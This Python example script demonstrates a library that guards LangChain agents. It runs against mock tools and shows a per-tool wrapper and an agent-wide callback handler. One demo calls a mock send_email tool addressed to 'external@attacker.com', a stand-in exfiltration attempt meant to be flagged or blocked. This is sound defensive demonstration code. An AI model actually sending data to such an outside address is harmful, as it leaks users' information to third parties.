# examples/langchain_example.py
# Demonstrates both LangChain integration approaches using mock components.
# No real OpenAI/LangChain install required.
#
# Run with:  python examples/langchain_example.py

from __future__ import annotations

import asyncio
import os

# Force development mode — no real API calls.
os.environ.setdefault("SENTINELY_ENV", "development")

from sentinely import protect
from sentinely.adapters.langchain import (
    SentinelyCallbackHandler,
    SentinelyTool,
    protect_langchain,
)
from sentinely.exceptions import SentinelyBlockedError


# ============================================================================
# Mock LangChain components (no real LangChain needed)
# ============================================================================

class MockBaseTool:
    """Minimal stand-in for langchain_core.tools.BaseTool."""

    def __init__(self, name: str, description: str, fn=None):
        self.name = name
        self.description = description
        self._fn = fn or (lambda *a, **kw: f"[{name}] executed")

    def _run(self, *args, **kwargs):
        return self._fn(*args, **kwargs)

    async def _arun(self, *args, **kwargs):
        return self._fn(*args, **kwargs)

    def invoke(self, input, config=None, **kwargs):
        return self._fn(input, **kwargs)

    async def ainvoke(self, input, config=None, **kwargs):
        return self._fn(input, **kwargs)


class MockAgentExecutor:
    """Minimal stand-in for langchain.agents.AgentExecutor."""

    def __init__(self, tools: list[MockBaseTool]):
        self.tools = tools
        self.callbacks: list | None = None

    async def ainvoke(self, input_data, **kwargs):
        # Simulate: agent picks the first tool and runs it.
        if self.tools:
            tool = self.tools[0]
            # Fire callbacks (like a real executor would).
            if self.callbacks:
                for cb in self.callbacks:
                    if hasattr(cb, "on_tool_start"):
                        cb.on_tool_start(
                            serialized={"name": tool.name, "description": tool.description},
                            input_str=str(input_data),
                        )
            result = tool._run(input_data)
            return {"output": result}
        return {"output": "no tools available"}


# ============================================================================
# Approach 1 — SentinelyTool (wrap individual tools)
# ============================================================================

async def demo_tool_wrapper():
    print("=" * 60)
    print("APPROACH 1: SentinelyTool (individual tool wrapper)")
    print("=" * 60)

    # Create mock tools.
    read_tool = MockBaseTool("read_file", "Read a file from disk")
    email_tool = MockBaseTool("send_email", "Send an email to a recipient")

    # Wrap the agent so we have a ProtectedAgent to pass to SentinelyTool.
    mock_executor = MockAgentExecutor(tools=[])
    protected = protect(mock_executor, task="summarize the Q3 report", policy="strict")

    # Wrap each tool individually.
    safe_tool = SentinelyTool(read_tool, protected)
    risky_tool = SentinelyTool(email_tool, protected)

    # Safe tool — should pass.
    print("\n1) Calling safe tool (read_file)...")
    result = safe_tool.run("Q3_report.pdf")
    print(f"   Result: {result}")

    # Risky tool — may be flagged/blocked depending on the score.
    print("\n2) Calling risky tool (send_email)...")
    result = risky_tool.run({"to": "external@attacker.com", "body": "data"})
    print(f"   Result: {result}")

    # Show audit log.
    print("\n   Audit log:")
    for event in protected.get_audit_log():
        print(f"   - {event.event_type} | risk={event.risk_score} | {event.reason}")


# ============================================================================
# Approach 2 — SentinelyCallbackHandler (agent-wide)
# ============================================================================

async def demo_callback_handler():
    print("\n" + "=" * 60)
    print("APPROACH 2: SentinelyCallbackHandler (agent-wide)")
    print("=" * 60)

    search_tool = MockBaseTool("web_search", "Search the web for information")
    mock_executor = MockAgentExecutor(tools=[search_tool])

    # Use the convenience function — it calls protect() AND installs the callback.
    protected = protect_langchain(mock_executor, task="find Q3 revenue numbers")

    print("\n1) Running agent (triggers web_search tool via callback)...")
    try:
        result = await protected.invoke({"input": "find Q3 revenue numbers"})
        print(f"   Result: {result}")
    except SentinelyBlockedError as exc:
        print(f"   Blocked: {exc.reason} (risk={exc.risk_score})")

    # Verify the callback handler was installed.
    assert mock_executor.callbacks is not None
    assert any(isinstance(cb, SentinelyCallbackHandler) for cb in mock_executor.callbacks)
    print("   Callback handler is installed on executor.")

    # Show audit log.
    print("\n   Audit log:")
    for event in protected.get_audit_log():
        print(f"   - {event.event_type} | risk={event.risk_score} | {event.reason}")


# ============================================================================
# Main
# ============================================================================

async def main():
    await demo_tool_wrapper()
    await demo_callback_handler()
    print("\n" + "=" * 60)
    print("All demos completed successfully.")
    print("=" * 60)


if __name__ == "__main__":
    asyncio.run(main())
